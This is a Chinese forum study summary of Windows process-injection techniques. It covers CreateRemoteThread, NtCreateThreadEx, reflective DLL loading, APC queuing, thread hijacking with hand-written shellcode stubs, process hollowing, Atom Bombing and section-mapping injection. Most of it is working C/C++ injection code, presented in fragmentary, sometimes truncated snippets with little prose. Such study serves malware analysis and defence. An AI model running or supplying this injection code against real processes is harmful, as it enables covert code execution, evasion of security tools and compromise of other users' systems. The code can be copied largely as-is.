其他
dll注入&代码注入 学习总结
本文为看雪论坛优秀文章
看雪论坛作者ID:pyikaaaa
CreateRemoteThread
//计算DLL路径名所需的字节数
DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);
// 获取传递进程ID的进程句柄
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,//目标进程的四个权限
FALSE, dwProcessId);
// 在远程进程中为路径名分配空间
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
// 将DLL的路径名复制到远程进程地址空间
//pszLibFile:要注入的dll的路径 pathname
DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);
//在Kernel32.dll中获取LoadLibraryW的实际地址
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
//创建一个调用LoadLibraryW(DLLPathname)的远程线程
// CreateRemoteThread(目标进程句柄,NULL,0,线程函数指针,线程函数参数,0,NULL)
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL);
// 等待远程线程终止
WaitForSingleObject(hThread, INFINITE);
// 释放包含DLL路径名的远程内存并关闭句柄
if (pszLibFileRemote != NULL) //开辟的内存已经注入进数据
VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);
//关闭线程和进程函数句柄
if (hThread != NULL)
CloseHandle(hThread);
if (hProcess != NULL)
CloseHandle(hProcess);
return(0);
}
RtlCreateUserThread
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
LPVOID LoadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread");
#ifdef _DEBUG
wprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)RtlCreateUserThread);
wprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)LoadLibraryAddress);
#endif
DWORD dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t);
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
BOOL bStatus = WriteProcessMemory(hProcess, lpBaseAddress, pszLibFile, dwSize, NULL);
bStatus = (BOOL)RtlCreateUserThread(
hProcess,
NULL,
0,
0,
0,
0,
LoadLibraryAddress,
lpBaseAddress,
&hRemoteThread,
NULL);
if (bStatus < 0)
{
wprintf(TEXT("[-] Error: RtlCreateUserThread failed\n"));
return(1);
}
else
{
wprintf(TEXT("[+] Remote thread has been created successfully ...\n"));
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hProcess);
VirtualFreeEx(hProcess, lpBaseAddress, dwSize, MEM_RELEASE);
return(0);
}
return(0);
}
hProcess,
NULL,
0,
0,
0,
0,
LoadLibraryAddress,
lpBaseAddress, 存有dll路径的内存地址 指针类型
&hRemoteThread,
NULL);
NtCreateThreadEx
memset(&ntbuffer, 0, sizeof(NtCreateThreadExBuffer));
DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE, dwProcessId);
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
int n = WriteProcessMemory(hProcess, pszLibFileRemote, (LPVOID)pszLibFile, dwSize, NULL);
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
PTHREAD_START_ROUTINE ntCreateThreadExAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");
if (ntCreateThreadExAddr)
{
ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer);
ntbuffer.Unknown1 = 0x10003;
ntbuffer.Unknown2 = 0x8;
ntbuffer.Unknown3 = (DWORD*)&dwTmp2;
ntbuffer.Unknown4 = 0;
ntbuffer.Unknown5 = 0x10004;
ntbuffer.Unknown6 = 4;
ntbuffer.Unknown7 = (DWORD*)&dwTmp1;
ntbuffer.Unknown8 = 0;
LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
NTSTATUS status = funNtCreateThreadEx(
&hRemoteThread,
0x1FFFFF,
NULL,
hProcess,
pfnThreadRtn,
(LPVOID)pszLibFileRemote,
FALSE,
NULL,
NULL,
NULL,
&ntbuffer //这里原来是NULL,但是跑的时候也可以注入,懵逼
);
#ifdef _DEBUG
wprintf(TEXT("[+] Status: %s\n"), status);
#endif
if (status != NULL) // FIXME: always returns NULL even when it suceeds. Go figure.
{
wprintf(TEXT("[-] NtCreateThreadEx Failed! [%d][%08x]\n"), GetLastError(), status);
return(1);
}
else
{
wprintf(TEXT("[+] Success: DLL injected via NtCreateThreadEx().\n"));
WaitForSingleObject(hRemoteThread, INFINITE);
}
}
if (pszLibFileRemote != NULL)
VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL)
CloseHandle(hRemoteThread);
if (hProcess != NULL)
CloseHandle(hProcess);
return(0);
}
ZwCreateThreadEx
//LoadRemoteLibraryR 函数说明
extern "C" HANDLE __stdcall LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter);
DWORD demoReflectiveDllInjection(PCWSTR cpDllFile, DWORD dwProcessId)
{
HANDLE hFile = NULL;//创建的dll文件句柄
HANDLE hModule = NULL;//开辟的堆空间句柄
HANDLE hProcess = NULL;//目标进程句柄
LPVOID lpBuffer = NULL;
DWORD dwLength = 0;
DWORD dwBytesRead = 0;
do
{
hFile = CreateFileW(cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
dwLength = GetFileSize(hFile, NULL);
#ifdef _DEBUG
wprintf(TEXT("[+] File Size: %d\n"), dwLength);
#endif
//为dll文件开辟堆空间 !!!!!!!!这是在自己的进程内存中 分配堆内存
lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);
//将dll文件读进开辟的堆空间中 hfile--》lpbuffer
if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) BREAK_WITH_ERROR("[-] Failed to alloc a buffer!");
//获得目标进程的句柄
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);
// LoadRemoteLibraryR:在dll模块加载到内存时获取入口点,并且实现调用该函数(采用rtlcreateuserthread的方式)远程线程注入
hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, NULL);
WaitForSingleObject(hModule, -1);
} while (0);
//注入完毕,释放堆空间,关闭进程句柄
if (lpBuffer) HeapFree(GetProcessHeap(), 0, lpBuffer);
if (hProcess) CloseHandle(hProcess);
return 0;
}
//检查库是否有ReflectiveLoader
// 获得dll文件的入口点偏移
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);//lpbuffer:堆内存的指针 指向存有dll文件的堆内存空间
// alloc memory (RWX) in the host process for the image...
//为映像分配内存
lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// write the image into the host process...
//将映像写入目标进程
/*
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress, 要写的内存首地址
LPVOID lpBuffer, 指向要写的数据的指针
DWORD nSize,
LPDWORD lpNumberOfBytesWritten
);
*/
//将映像写入目标进程 lpRemoteLibraryBuffer 在目标进程中分配的内存空间 lpBuffer在该进程内存空间中分配的堆内存
// add the offset to ReflectiveLoader() to the remote library address...
//lpRemoteLibraryBuffer 分配的内存地址 +dwReflectiveLoaderOffset 入口点偏移
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
// create a remote thread in the host process to call the ReflectiveLoader!
//OutputDebugString("INJECTING DLL!");
//本身反射性dll 就隐蔽性高,自然不可以用createremoteprocess
RtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(TEXT("ntdll")), "RtlCreateUserThread"));
RtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, lpReflectiveLoader, lpParameter, &hThread, NULL); //lpReflectiveLoader 线程函数地址,dll入口函数地址 lpParameter 参数
WaitForSingleObject(hThread, INFINITE);
//释放掉为dll映像分配的内存
VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, dwLength, MEM_RELEASE);
} while (0);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
hThread = NULL;
}
return hThread;
}
DWORD dwThreadId = getThreadID(dwProcessId);
#ifdef _DEBUG
wprintf(TEXT("[+] Using Thread ID %u\n"), dwThreadId);
#endif
HMODULE dll = LoadLibraryEx(pszLibFile, NULL, DONT_RESOLVE_DLL_REFERENCES);
// Your DLL needs to export the 'poc' function
HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "poc");
HWND targetWnd = FindWindow(NULL, strProcName);
GetWindowThreadProcessId(targetWnd, &dwProcessId);
HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, dwThreadId);
if (handle == NULL)
{
wprintf(TEXT("[-] Error: The KEYBOARD could not be hooked.\n"));
return(1);
}
else
{
wprintf(TEXT("[+] Program successfully hooked.\nPress enter to unhook the function and stop the program.\n"));
getchar();
UnhookWindowsHookEx(handle);
}
return(0);
}
APC注入
APC 异步过程调用
注入方法的原理:
//1.查找窗口
HWND hWnd = ::FindWindow(NULL, TEXT("APCTest"));
if (NULL == hWnd)
{
return;
}
/*2.获得进程的PID,当然通用的则是你把进程PID当做要注入的程序,这样不局限
于窗口了.这里简单编写,进程PID可以快照遍历获取
*/
DWORD dwPid = 0;
DWORD dwTid = 0;
dwTid = GetWindowThreadProcessId(hWnd, &dwPid);
//3.打开进程
HANDLE hProcess = NULL;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (NULL == hProcess)
{
return;
}
//4.成功了,申请远程内存
void *lpAddr = NULL;
lpAddr = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (NULL == lpAddr)
{
return;
}
//5.写入我们的DLL路径,这里我写入当前根目录下的路径
char szBuf[] = "MyDll.dll";
BOOL bRet = WriteProcessMemory(hProcess, lpAddr, szBuf, strlen(szBuf) + 1, NULL);
if (!bRet)
{
return;
}
//6.根据线程Tid,打开线程句柄
HANDLE hThread = NULL;
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwTid);
if (NULL == hThread)
{
return;
}
//7.给APC队列中插入回调函数
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpAddr);
CloseHandle(hThread);
CloseHandle(hProcess);
DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function 指向一个用户提供的APC函数的指针
HANDLEhThread, // handle to thread 指定特定线程的句柄。
ULONG_PTRdwData // APC function parameter 指定一个被传到pfnAPC参数指向的APC函数的值
);
AppLint_DLLs 注册表项注入
1、概述:
2、流程:
AppCert DLL 注入
函数,那么此进程会获取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls注册表项,此项下的dll都会被加载到此进程。
此技术的实现逻辑是CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec
函数在创建进程的时候其内部会调用BasepIsProcessAllowed函数,而BasepIsProcessAllowed则会打开AppCertDlls注册表项,将此项下的dll都加载到进程中。
CreateProcess过程有七个阶段,BasepIsProcessAllowed的过程发生在阶段2——创建文件映像和兼容性检查之间。
值得注意的是win xp-win 10 默认不存在这个注册表项,为了利用该技术需要自行创建AppCertDlls项。
再用VirtualAllocEx来个ie进程重新分配内存空间,大小为要注入程序的大小(就是自身的imagesize)。使用WriteProcessMemory重新写IE进程的基址,就是刚才分配的内存空间的地址。再用WriteProcessMemory把自己的代码写入IE的内存空间。用SetThreadContext设置下进程状态,最后使用ResumeThread继续运行IE进程。
相关技术点
1、创建挂起进程
CreateProcessA(strTargetProcess.c_str(),NULL,NUL NULL, FALSE,CREATE_SUSPENDED, NULL, NULL,&stSi, &stPi)
2、利得到当前的线程上下文
BOOL WINAPI GetThreadContext(
__in HANDLE hThread,
__in_out LPCONTEXT lpContext
);
typedef struct _CONTEXT {
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs; // MUST BE SANITIZED
DWORD EFlags; // MUST BE SANITIZED
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;
CONTEXT stThreadContext;
stThreadContext.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(stPi.hThread, &stThreadContext) == 0)
{
return FALSE;
}
3、清空目标进程的内存空间
NTSTATUS NtUnmapViewOfSection(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress
);
4、重新分配空间
5、写入傀儡进程
6、恢复现场并运行傀儡进程
7、傀儡进程创建过程总结:
代码:
0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (为返回地址占位)
0x9c, // pushfd (保存标志和寄存器)
0x60, // pushad
0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (为DLL路径名称占位)
0xb8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, 0xDEADBEEF (为LoadLibrary函数占位)
0xff, 0xd0, // call eax (调用LoadLibrary函数)
0x61, // popad (恢复标志和寄存器)
0x9d, // popfd
0xc3 // ret
0x50, // push rax (保存RAX寄存器)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (为返回地址占位)
0x9c, // pushfq
0x51, // push rcx
0x52, // push rdx
0x53, // push rbx
0x55, // push rbp
0x56, // push rsi
0x57, // push rdi
0x41, 0x50, // push r8
0x41, 0x51, // push r9
0x41, 0x52, // push r10
0x41, 0x53, // push r11
0x41, 0x54, // push r12
0x41, 0x55, // push r13
0x41, 0x56, // push r14
0x41, 0x57, // push r15
0x68,0xef,0xbe,0xad,0xde, // fastcall调用约定
0x48, 0xB9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rcx, 0CCCCCCCCCCCCCCCCh (为DLL路径名称占位)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (为LoadLibrary函数占位)
0xFF, 0xD0, // call rax (调用LoadLibrary函数)
0x58, // pop dummy
0x41, 0x5F, // pop r15
0x41, 0x5E, // pop r14
0x41, 0x5D, // pop r13
0x41, 0x5C, // pop r12
0x41, 0x5B, // pop r11
0x41, 0x5A, // pop r10
0x41, 0x59, // pop r9
0x41, 0x58, // pop r8
0x5F, // pop rdi
0x5E, // pop rsi
0x5D, // pop rbp
0x5B, // pop rbx
0x5A, // pop rdx
0x59, // pop rcx
0x9D, // popfq
0x58, // pop rax
0xC3 // ret
memcpy((void *)((unsigned long)sc + 1), &oldIP, 4);
memcpy((void *)((unsigned long)sc + 8), &lpDllAddr, 4);
memcpy((void *)((unsigned long)sc + 13), &LoadLibraryAddress, 4);
memcpy(sc + 3, &oldIP, sizeof(oldIP));
memcpy(sc + 41, &lpDllAddr, sizeof(lpDllAddr));
memcpy(sc + 51, &LoadLibraryAddress, sizeof(LoadLibraryAddress));
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
DWORD LoadLibraryAddress = (DWORD)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
SIZE_T dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t);
LPVOID lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
BOOL bStatus = WriteProcessMemory(hProcess, lpDllAddr, pszLibFile, dwSize, NULL);
threadID = getThreadID(dwProcessId);
hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID);
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
oldIP = ctx.Eip;
ctx.Eip = (DWORD)stub;
ctx.ContextFlags = CONTEXT_CONTROL;
VirtualProtect(sc, stubLen, PAGE_EXECUTE_READWRITE, &oldprot);
memcpy((void *)((unsigned long)sc + 1), &oldIP, 4);
memcpy((void *)((unsigned long)sc + 8), &lpDllAddr, 4);
memcpy((void *)((unsigned long)sc + 13), &LoadLibraryAddress, 4);
WriteProcessMemory(hProcess, stub, sc, stubLen, NULL);
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
线程执行劫持也需要先在RWX内存中写入payload,写入完毕后直接将线程执行地址替换为payload地址就行了:
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);//打开线程
SuspendThread(t);//挂起线程
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
ctx.Rip = (DWORD64)payload;//设置线程新的执行地址
SetThreadContext(t, &ctx);
ResumeThread(t);//唤醒线程
Atom Bombing
1、Atom Table
分类:
常用 API:
ATOM WINAPI GlobalAddAtom(In LPCTSTR lpString);
ATOM WINAPI GlobalDeleteAtom(In ATOM nAtom);
ATOM WINAPI GlobalFindAtom(In LPCTSTR lpString);
UINT WINAPI GlobalGetAtomName(
In ATOM nAtom,
Out LPTSTR lpBuffer,
In int nSize
);
Atom Bombing注入
1、将任意数据写入目标进程地址空间中的任意位置
HANDLE th = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE,thread_id);
for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos) + 1){
ATOM a = GlobalAddAtomA(pos);// 添加全局原子
DWORD64 offset = pos - payload;
ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,(PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos) + 1));// 向目标逐字节写入payload
}
2、执行 shellcode
①申请 RWX 内存
②将 shellcode 从 RW 内存处拷贝到 RWX 内存储
③执行
HANDLE th = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE,thread_id);
for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos) + 1){
ATOM a = GlobalAddAtomA(pos);// 添加全局原子
DWORD64 offset = pos - payload;
ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,(PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos) + 1));// 向目标逐字节写入payload
}
利用内存映射文件实现注入
(CreateFileMapping)。内存映射文件与虚拟内存有些类似,通过内存映射文件可以保留一个地址空间的区域,同时将物理存储器提交给此区域,内存文件映射的物理存储器来自一个已经存在于磁盘上的文件,而且在对该文件进行操作之前必须首先对文件进行映射。使用内存映射文件处理存储于磁盘上的文件时,将不必再对文件执行I/O操作,使得内存映射文件在处理大数据量的文件时能起到相当重要的作用。
//打开共享内存
HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, section_name);
BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size);
//写入payload
memcpy(buf + section_size - sizeof(payload), payload, sizeof(payload));
//打开目标进程
HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, process_id);char* read_buf = new char[sizeof(payload)];SIZE_T region_size;
//在目标进程中遍历搜索payload地址
for (DWORD64 address = 0; address < 0x00007fffffff0000ull; address += region_size)
{
MEMORY_BASIC_INFORMATION mem;
SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem,sizeof(mem));//查询地址空间中内存地址的信息
if ((mem.Type == MEM_MAPPED) && (mem.State == MEM_COMMIT) && (mem.Protect== PAGE_READWRITE) && (mem.RegionSize == section_size))
{
ReadProcessMemory(h, (LPCVOID)(address + section_sizesizeof(payload)), read_buf, sizeof(payload), NULL);
if (memcmp(read_buf, payload, sizeof(payload)) == 0)
{
// the payload is at address + section_size - sizeof(payload);
…
break;
}
}
region_size = mem.RegionSize;
}
利用了内存映射文件的原理,那么内存映射的一套的流程也基本都用到了,CreateFileMapping创建共享内存的内存映射对象。
MapViewOfFile得到该内存空间的映射地址。
RtlMoveMemory将shellcode与PE文件信息拷贝到内存映射对象中。
ZwMapViewOfSection将内存映射对象与挂起目标进程关联在一起,这样目标进程中就存在了shellcode与PE文件。
ZwQueryInformationThread获取目标进程主线程的入口地址。
CreateRemoteThread创建一个主线程。
最后使用QueueUserAPC向创建的主线程插入一个APC执行shellcode装载随后的PE文件。
恢复执行。
看雪ID:pyikaaaa
https://bbs.pediy.com/user-home-921642.htm
# 往期推荐
6. CVE-2012-3569 VMware OVF Tool格式化字符串漏洞分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!